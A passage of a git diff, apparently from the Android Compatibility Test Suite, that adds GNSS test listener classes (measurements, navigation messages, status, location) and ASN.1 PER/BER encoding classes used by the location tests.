+ if (gnssMeasurement.getCn0DbHz() < C_TO_N0_THRESHOLD_DB_HZ ||
+ (gnssMeasurement.getState() & GnssMeasurement.STATE_TOW_DECODED) == 0) {
+ continue;
+ }
+ if (constellationEventCount.containsKey(constellationType)) {
+ constellationEventCount.put(constellationType,
+ constellationEventCount.get(constellationType) + 1);
+ }
+ else {
+ constellationEventCount.put(constellationType, 1);
+ }
+ if (constellationEventCount.get(constellationType) >= 4) {
+ synchronized(mMeasurementsEvents) {
+ mMeasurementsEvents.add(event);
+ }
+ mCountDownLatch.countDown();
+ return;
+ }
+ }
+ }
+ else {
+ synchronized(mMeasurementsEvents) {
+ mMeasurementsEvents.add(event);
+ }
+ mCountDownLatch.countDown();
+ }
+ }
+ }
+
+ @Override
+ public void onStatusChanged(int status) {
+ mStatus = status;
+ mCountDownLatchStatus.countDown();
+ }
+
+ public boolean awaitStatus() throws InterruptedException {
+ return TestUtils.waitFor(mCountDownLatchStatus, STATUS_TIMEOUT_IN_SEC);
+ }
+
+ public boolean await() throws InterruptedException {
+ return TestUtils.waitFor(mCountDownLatch, MEAS_TIMEOUT_IN_SEC);
+ }
+
+
+ /**
+ * @return {@code true} if the state of the test ensures that data is expected to be collected,
+ * {@code false} otherwise.
+ */
+ public boolean verifyStatus() {
+ switch (getStatus()) {
+ case GnssMeasurementsEvent.Callback.STATUS_NOT_SUPPORTED:
+ String message = "GnssMeasurements is not supported in the device:"
+ + " verifications performed by this test may be skipped on older devices.";
+ Assert.fail(message);
+ return false;
+ case GnssMeasurementsEvent.Callback.STATUS_READY:
+ return true;
+ case GnssMeasurementsEvent.Callback.STATUS_LOCATION_DISABLED:
+ message = "Location or GPS is disabled on the device:"
+ + " enable location to continue the test";
+ Assert.fail(message);
+ return false;
+ default:
+ Assert.fail("GnssMeasurementsEvent status callback was not received.");
+ }
+ return false;
+ }
+
+ /**
+ * Get GPS Measurements Status.
+ *
+ * @return mStatus Gps Measurements Status
+ */
+ public int getStatus() {
+ return mStatus;
+ }
+
+ /**
+ * Get the current list of GPS Measurements Events.
+ *
+ * @return the current list of GPS Measurements Events
+ */
+ public List<GnssMeasurementsEvent> getEvents() {
+ synchronized(mMeasurementsEvents) {
+ List<GnssMeasurementsEvent> clone = new ArrayList<>();
+ clone.addAll(mMeasurementsEvents);
+ return clone;
+ }
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssNavigationMessageListener.java b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssNavigationMessageListener.java
new file mode 100644
index 0000000..332c99c
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssNavigationMessageListener.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssNavigationMessage;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestUtils;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Used for receiving GPS satellite Navigation Messages from the GPS engine.
+ */
+class TestGnssNavigationMessageListener extends GnssNavigationMessage.Callback {
+
+ // Timeout in sec for count down latch wait
+ private static final int TIMEOUT_IN_SEC = 90;
+
+ private volatile int mStatus = -1;
+
+ private final String mTag;
+ private final int mEventsToCollect;
+ private final List<GnssNavigationMessage> mEvents;
+ private final CountDownLatch mCountDownLatch;
+
+ TestGnssNavigationMessageListener(String tag, int eventsToCollect) {
+ mTag = tag;
+ mCountDownLatch = new CountDownLatch(1);
+ mEventsToCollect = eventsToCollect;
+ mEvents = new CopyOnWriteArrayList<GnssNavigationMessage>();
+ }
+
+ @Override
+ public void onGnssNavigationMessageReceived(GnssNavigationMessage event) {
+ mEvents.add(event);
+ if (mEvents.size() > mEventsToCollect) {
+ mCountDownLatch.countDown();
+ }
+ }
+
+ @Override
+ public void onStatusChanged(int status) {
+ mStatus = status;
+ if (mStatus != GnssNavigationMessage.Callback.STATUS_READY) {
+ mCountDownLatch.countDown();
+ }
+ }
+
+ public boolean await() throws InterruptedException {
+ Log.i(mTag, "Number of GPS Navigation Message received = " + getEvents().size());
+ return TestUtils.waitFor(mCountDownLatch, TIMEOUT_IN_SEC);
+ }
+
+ /**
+ * Get GPS Navigation Message Status.
+ *
+ * @return mStatus Gps Navigation Message Status
+ */
+ public int getStatus() {
+ return mStatus;
+ }
+
+ /**
+ * @return {@code true} if the state of the test ensures that data is expected to be collected,
+ * {@code false} otherwise.
+ */
+ public boolean verifyState() {
+ switch (getStatus()) {
+ case GnssNavigationMessage.Callback.STATUS_NOT_SUPPORTED:
+ SoftAssert.failAsWarning(mTag, "GnssNavigationMessage is not supported in the"
+ + " device: verifications performed by this test will be skipped.");
+ return false;
+ case GnssNavigationMessage.Callback.STATUS_READY:
+ return true;
+ case GnssNavigationMessage.Callback.STATUS_LOCATION_DISABLED:
+ Log.i(mTag, "Location or GPS is disabled on the device: skipping the test.");
+ return false;
+ default:
+ Assert.fail("GnssNavigationMessage status callback was not received.");
+ }
+ return false;
+ }
+
+ /**
+ * Get list of GPS Navigation Message Events.
+ *
+ * @return mEvents list of GPS Navigation Message Events
+ */
+ public List<GnssNavigationMessage> getEvents() {
+ return mEvents;
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java
new file mode 100644
index 0000000..bfe3ac4
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2016 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssStatus;
+import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
+import android.util.Log;
+
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Used for receiving notifications when GNSS status has changed.
+ */
+public class TestGnssStatusCallback extends GnssStatus.Callback {
+
+ private final String mTag;
+ private GnssStatus mGnssStatus = null;
+ // Timeout in sec for count down latch wait
+ private static final int TIMEOUT_IN_SEC = 90;
+ private final CountDownLatch mLatchStart;
+ private final CountDownLatch mLatchStatus;
+ private final CountDownLatch mLatchTtff;
+ private final CountDownLatch mLatchStop;
+
+ // Store list of Satellites including Gnss Band, constellation & SvId
+ private Set<String> mGnssUsedSvStringIds;
+
+ public TestGnssStatusCallback(String tag, int gpsStatusCountToCollect) {
+ this.mTag = tag;
+ mLatchStart = new CountDownLatch(1);
+ mLatchStatus = new CountDownLatch(gpsStatusCountToCollect);
+ mLatchTtff = new CountDownLatch(1);
+ mLatchStop = new CountDownLatch(1);
+ mGnssUsedSvStringIds = new HashSet<>();
+ }
+
+ @Override
+ public void onStarted() {
+ Log.i(mTag, "Gnss Status Listener Started");
+ mLatchStart.countDown();
+ }
+
+ @Override
+ public void onStopped() {
+ Log.i(mTag, "Gnss Status Listener Stopped");
+ mLatchStop.countDown();
+ }
+
+ @Override
+ public void onFirstFix(int ttffMillis) {
+ Log.i(mTag, "Gnss Status Listener Received TTFF");
+ mLatchTtff.countDown();
+ }
+
+ @Override
+ public void onSatelliteStatusChanged(GnssStatus status) {
+ Log.i(mTag, "Gnss Status Listener Received Status Update");
+ mGnssStatus = status;
+ for (int i = 0; i < status.getSatelliteCount(); i++) {
+ if (!status.usedInFix(i)) {
+ continue;
+ }
+ if (status.hasCarrierFrequencyHz(i)) {
+ mGnssUsedSvStringIds.add(
+ TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
+ status.getSvid(i), status.getCarrierFrequencyHz(i)));
+ } else {
+ mGnssUsedSvStringIds.add(
+ TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
+ status.getSvid(i)));
+ }
+ }
+ mLatchStatus.countDown();
+ }
+
+ /**
+ * Returns the list of SV String Ids which were used in fix during the collect
+ *
+ * @return mGnssUsedSvStringIds - Set of SV string Ids
+ */
+ public Set<String> getGnssUsedSvStringIds() {
+ return mGnssUsedSvStringIds;
+ }
+
+ /**
+ * Get GNSS Status.
+ *
+ * @return mGnssStatus GNSS Status
+ */
+ public GnssStatus getGnssStatus() {
+ return mGnssStatus;
+ }
+
+ public boolean awaitStart() throws InterruptedException {
+ return TestUtils.waitFor(mLatchStart, TIMEOUT_IN_SEC);
+ }
+
+ public boolean awaitStatus() throws InterruptedException {
+ return TestUtils.waitFor(mLatchStatus, TIMEOUT_IN_SEC);
+ }
+
+ public boolean awaitTtff() throws InterruptedException {
+ return TestUtils.waitFor(mLatchTtff, TIMEOUT_IN_SEC);
+ }
+
+ public boolean awaitStop() throws InterruptedException {
+ return TestUtils.waitFor(mLatchStop, TIMEOUT_IN_SEC);
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestLocationListener.java b/tests/location/location_gnss/src/android/location/cts/gnss/TestLocationListener.java
new file mode 100644
index 0000000..6252b18
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/TestLocationListener.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.location.cts.gnss;
+
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.location.cts.common.TestUtils;
+import android.os.Bundle;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Used for receiving notifications from the LocationManager when the location has changed.
+ */
+public class TestLocationListener implements LocationListener {
+ private volatile boolean mProviderEnabled;
+ private volatile boolean mLocationReceived;
+
+ // Timeout in sec for count down latch wait
+ private static final int TIMEOUT_IN_SEC = 120;
+ private final CountDownLatch mCountDownLatch;
+ private ConcurrentLinkedQueue<Location> mLocationList = null;
+
+ public TestLocationListener(int locationToCollect) {
+ mCountDownLatch = new CountDownLatch(locationToCollect);
+ mLocationList = new ConcurrentLinkedQueue<>();
+ }
+
+ @Override
+ public void onLocationChanged(Location location) {
+ mLocationReceived = true;
+ mLocationList.add(location);
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onStatusChanged(String s, int i, Bundle bundle) {
+ }
+
+ @Override
+ public void onProviderEnabled(String s) {
+ if (LocationManager.GPS_PROVIDER.equals(s)) {
+ mProviderEnabled = true;
+ }
+ }
+
+ @Override
+ public void onProviderDisabled(String s) {
+ if (LocationManager.GPS_PROVIDER.equals(s)) {
+ mProviderEnabled = false;
+ }
+ }
+
+ public boolean await() throws InterruptedException {
+ return TestUtils.waitFor(mCountDownLatch, TIMEOUT_IN_SEC);
+ }
+
+ public boolean await(int timeInSec) throws InterruptedException {
+ return TestUtils.waitFor(mCountDownLatch, timeInSec);
+ }
+
+ /**
+ * Get the list of locations received.
+ *
+ * Makes a copy of {@code mLocationList}. New locations received after this call is
+ * made are not reflected in the returned list so that the returned list can be safely
+ * iterated without getting a ConcurrentModificationException. Occasionally,
+ * even after calling TestLocationManager.removeLocationUpdates(), the location listener
+ * can receive one or two location updates.
+ */
+ public List<Location> getReceivedLocationList(){
+ return new ArrayList(mLocationList);
+ }
+
+ /**
+ * Check if location provider is enabled.
+ *
+ * @return {@code true} if the location provider is enabled and {@code false}
+ * if location provider is disabled.
+ */
+ public boolean isProviderEnabled() {
+ return mProviderEnabled;
+ }
+
+ /**
+ * Check if the location is received.
+ *
+ * @return {@code true} if the location is received and {@code false}
+ * if location is not received.
+ */
+ public boolean isLocationReceived() {
+ return mLocationReceived;
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BMPString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BMPString.java
new file mode 100644
index 0000000..2d74aa6
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BMPString.java
@@ -0,0 +1,200 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.Objects;
+
+/**
+ * A BMP string is a string from the Basic Multilingual Plane of Unicode, i.e.
+ * codepoints 0x0000 to 0xFFFF.
+ *
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1BMPString extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.BMP_STRING);
+
+ private String value;
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // Null == unconstrained.
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.BMP_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException();
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public String getValue() {
+ return value;
+ }
+
+ public void setValue(String value) {
+ this.value = value;
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Objects.requireNonNull(value, "No value set.");
+ int length = Character.codePointCount(value, 0, value.length());
+ Preconditions.checkState(length >= minimumSize, "Value too short.");
+ Preconditions.checkState(maximumSize == null || length <= maximumSize,
+ "Value too long.");
+ int characterBitCount = 16; // Unless tight alphabet constraint.
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ BitStream encodedCharacters = encodeCharactersPer();
+ if (aligned && maximumSize * characterBitCount > 16) {
+ encodedCharacters.setBeginByteAligned();
+ }
+
+ if (minimumSize == maximumSize
+ && maximumSize < SIXTYFOUR_K) {
+ return ImmutableList.of(encodedCharacters);
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // A little oddity when maximumSize != minimumSize.
+ if (aligned && maximumSize * characterBitCount == 16) {
+ encodedCharacters.setBeginByteAligned();
+ }
+
+ // Must be preceded by a count. The count and the bit field may be
+ // independently aligned.
+ BitStream count = null;
+ if (aligned) {
+ count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ value.length(), minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.encodeConstrainedWholeNumber(
+ value.length(), minimumSize, maximumSize);
+ }
+ return ImmutableList.of(count, encodedCharacters);
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private BitStream encodeCharactersPer() {
+ BitStream result = new BitStream();
+ int position = 0;
+ while (position < value.length()) {
+ int codepoint = Character.codePointAt(value, position);
+ Preconditions.checkState(codepoint <= 0xFFFF,
+ "Illegal character atposition %s", position);
+ // When characterBitCount == 16.
+ result.appendByte((byte) ((codepoint & 0xFF00) >> 8));
+ result.appendByte((byte) (codepoint & 0xFF));
+
+ position += Character.charCount(codepoint);
+ }
+ return result;
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ int characterBitCount = 16; // Unless tight alphabet constraint.
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ if (minimumSize == maximumSize
+ && maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize * characterBitCount > 16) {
+ reader.spoolToByteBoundary();
+ }
+ value = decodeCharactersPer(reader, maximumSize);
+ return;
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // Value is preceded by a count.
+ int count = 0;
+ if (aligned) {
+ count = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ }
+
+ if (aligned && maximumSize * characterBitCount >= 16) {
+ reader.spoolToByteBoundary();
+ }
+
+ value = decodeCharactersPer(reader, count);
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+
+ private String decodeCharactersPer(BitStreamReader reader,
+ int howMany) {
+ StringBuilder builder = new StringBuilder();
+ for (int i = 0; i < howMany; i++) {
+ int codepoint = (reader.readByte() & 0xFF) << 8;
+ codepoint += reader.readByte() & 0xFF;
+ builder.append(Character.toChars(codepoint));
+ }
+ return builder.toString();
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BitString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BitString.java
new file mode 100644
index 0000000..a5265ef
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BitString.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.BitSet;
+import java.util.Collection;
+import java.util.Objects;
+
+/**
+ * Implements ASN.1 functionality.
+ * as an asn1 BIT STRING does.
+ *
+ * <P>This class is not thread-safe without external synchronization.
+ *
+ */
+public class Asn1BitString extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.BIT_STRING);
+
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // null == unbounded.
+ private BitSet value;
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public BitSet getValue() {
+ return value;
+ }
+
+ public void setValue(BitSet value) {
+ this.value = value;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.BIT_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ Objects.requireNonNull(value, "No value set.");
+ // the +1 is for the extra leading octet indicating the number of unused bits in last octet
+ return (value.length() + 7) / 8 + 1;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ Objects.requireNonNull(value, "No value set.");
+ Preconditions.checkState(
+ maximumSize == null || value.length() <= maximumSize, "Too large %s",
+ value.length());
+
+ int bitsToEncode = Math.max(minimumSize, value.length());
+ BitStream bitStream = new BitStream();
+ for (int i = 0; i < bitsToEncode; i++) {
+ bitStream.appendBit(value.get(i));
+ }
+
+ buf.put((byte) ((8 - (value.length() % 8)) % 8));
+ buf.put(bitStream.getPaddedBytes());
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ int unusedBits = buf.get() & 0xFF;
+ byte[] valueBytes = getRemaining(buf);
+ final int numBits = valueBytes.length * 8 - unusedBits;
+ value = new BitSet(numBits);
+ BitStreamReader reader = new BitStreamReader(valueBytes);
+ for (int i = 0; i < numBits; i++) {
+ value.set(i, reader.readBit());
+ }
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Objects.requireNonNull(value, "No value set.");
+ Preconditions.checkState(
+ maximumSize == null || value.length() <= maximumSize, "Too large %s",
+ value.length());
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ if (minimumSize == maximumSize) {
+ if (maximumSize == 0) {
+ return ImmutableList.of();
+ }
+ if (maximumSize < SIXTYFOUR_K) {
+ BitStream result = new BitStream();
+ for (int i = 0; i < maximumSize; i++) {
+ result.appendBit(value.get(i));
+ }
+ if (aligned && maximumSize > 16) {
+ result.setBeginByteAligned();
+ }
+ return ImmutableList.of(result);
+ }
+ // Fall through to the general case.
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large set unimplemented");
+ }
+
+ int bitsToEncode = Math.max(minimumSize, value.length());
+ BitStream count = null;
+ if (aligned) {
+ count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ bitsToEncode, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.encodeConstrainedWholeNumber(
+ bitsToEncode, minimumSize, maximumSize);
+ }
+ BitStream result = new BitStream();
+ if (aligned) {
+ result.setBeginByteAligned();
+ }
+ for (int i = 0; i < bitsToEncode; i++) {
+ result.appendBit(value.get(i));
+ }
+ return ImmutableList.of(count, result);
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ value = new BitSet();
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ if (minimumSize == maximumSize) {
+ if (maximumSize == 0) {
+ return;
+ }
+ if (maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize > 16) {
+ reader.spoolToByteBoundary();
+ }
+ for (int i = 0; i < maximumSize; i++) {
+ value.set(i, reader.readBit());
+ }
+ return;
+ }
+ // Fall through to the general case.
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large set unimplemented");
+ }
+
+ int length = 0;
+ if (aligned) {
+ length = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ reader.spoolToByteBoundary();
+ } else {
+ length = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ }
+ for (int i = 0; i < length; i++) {
+ value.set(i, reader.readBit());
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Boolean.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Boolean.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Boolean.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Boolean.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Choice.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Choice.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Choice.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Choice.java
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Enumerated.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Enumerated.java
new file mode 100644
index 0000000..5e16c69
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Enumerated.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.collect.ImmutableList;
+
+import java.math.BigInteger;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.Objects;
+
+/**
+ */
+public abstract class Asn1Enumerated extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.ENUMERATED);
+
+ private Value value;
+
+ public interface Value {
+ int getAssignedValue();
+ boolean isExtensionValue();
+ int ordinal(); // Standard enum method.
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ public Value getValue() {
+ return value;
+ }
+
+ public void setValue(Value value) {
+ this.value = value;
+ }
+
+ protected abstract boolean isExtensible();
+
+ /**
+ * Returns the ordinal:th value in size order.
+ */
+ protected abstract Value lookupValue(int ordinal);
+
+ /**
+ * Returns the ordinal:th extension value in size order.
+ */
+ protected abstract Value lookupExtensionValue(int ordinal);
+
+ /**
+ * Returns the number of distinct values (not counting extensions).
+ */
+ protected abstract int getValueCount();
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.ENUMERATED;
+ }
+
+ @Override int getBerValueLength() {
+ return asAsn1Integer().getBerValueLength();
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ asAsn1Integer().encodeBerValue(buf);
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ Asn1Integer ai = new Asn1Integer();
+ ai.decodeBerValue(buf);
+ value = lookupValue(ai.getInteger().intValue());
+ }
+
+ private Asn1Integer asAsn1Integer() {
+ Objects.requireNonNull(value, "No value set.");
+ Asn1Integer ai = new Asn1Integer();
+ ai.setInteger(BigInteger.valueOf(value.getAssignedValue()));
+ return ai;
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ ImmutableList.Builder<BitStream> builder = ImmutableList.builder();
+ if (isExtensible()) {
+ BitStream extensionMarker = new BitStream();
+ extensionMarker.appendBit(value.isExtensionValue());
+ builder.add(extensionMarker);
+ }
+ if (value.isExtensionValue()) {
+ if (aligned) {
+ builder.addAll(
+ PerAlignedUtils.encodeNormallySmallWholeNumber(value.ordinal()));
+ } else {
+ builder.addAll(
+ PerUnalignedUtils.encodeNormallySmallWholeNumber(value.ordinal()));
+ }
+ } else {
+ // Note that it is NOT guaranteed in the asn1 spec that the root values
+ // are sorted in order. However, asn12j sorts them for us.
+ if (aligned) {
+ builder.add(
+ PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ value.ordinal(), 0, getValueCount() - 1));
+ } else {
+ builder.add(
+ PerUnalignedUtils.encodeConstrainedWholeNumber(
+ value.ordinal(), 0, getValueCount() - 1));
+ }
+ }
+ return builder.build();
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ if (isExtensible() && reader.readBit()) {
+ if (aligned) {
+ value = lookupExtensionValue(PerAlignedUtils.decodeNormallySmallWholeNumber(reader));
+ } else {
+ value = lookupExtensionValue(PerUnalignedUtils.decodeNormallySmallWholeNumber(reader));
+ }
+ } else {
+ if (aligned) {
+ value = lookupValue(
+ PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, 0, getValueCount() - 1));
+ } else {
+ value = lookupValue(
+ PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, 0, getValueCount() - 1));
+ }
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
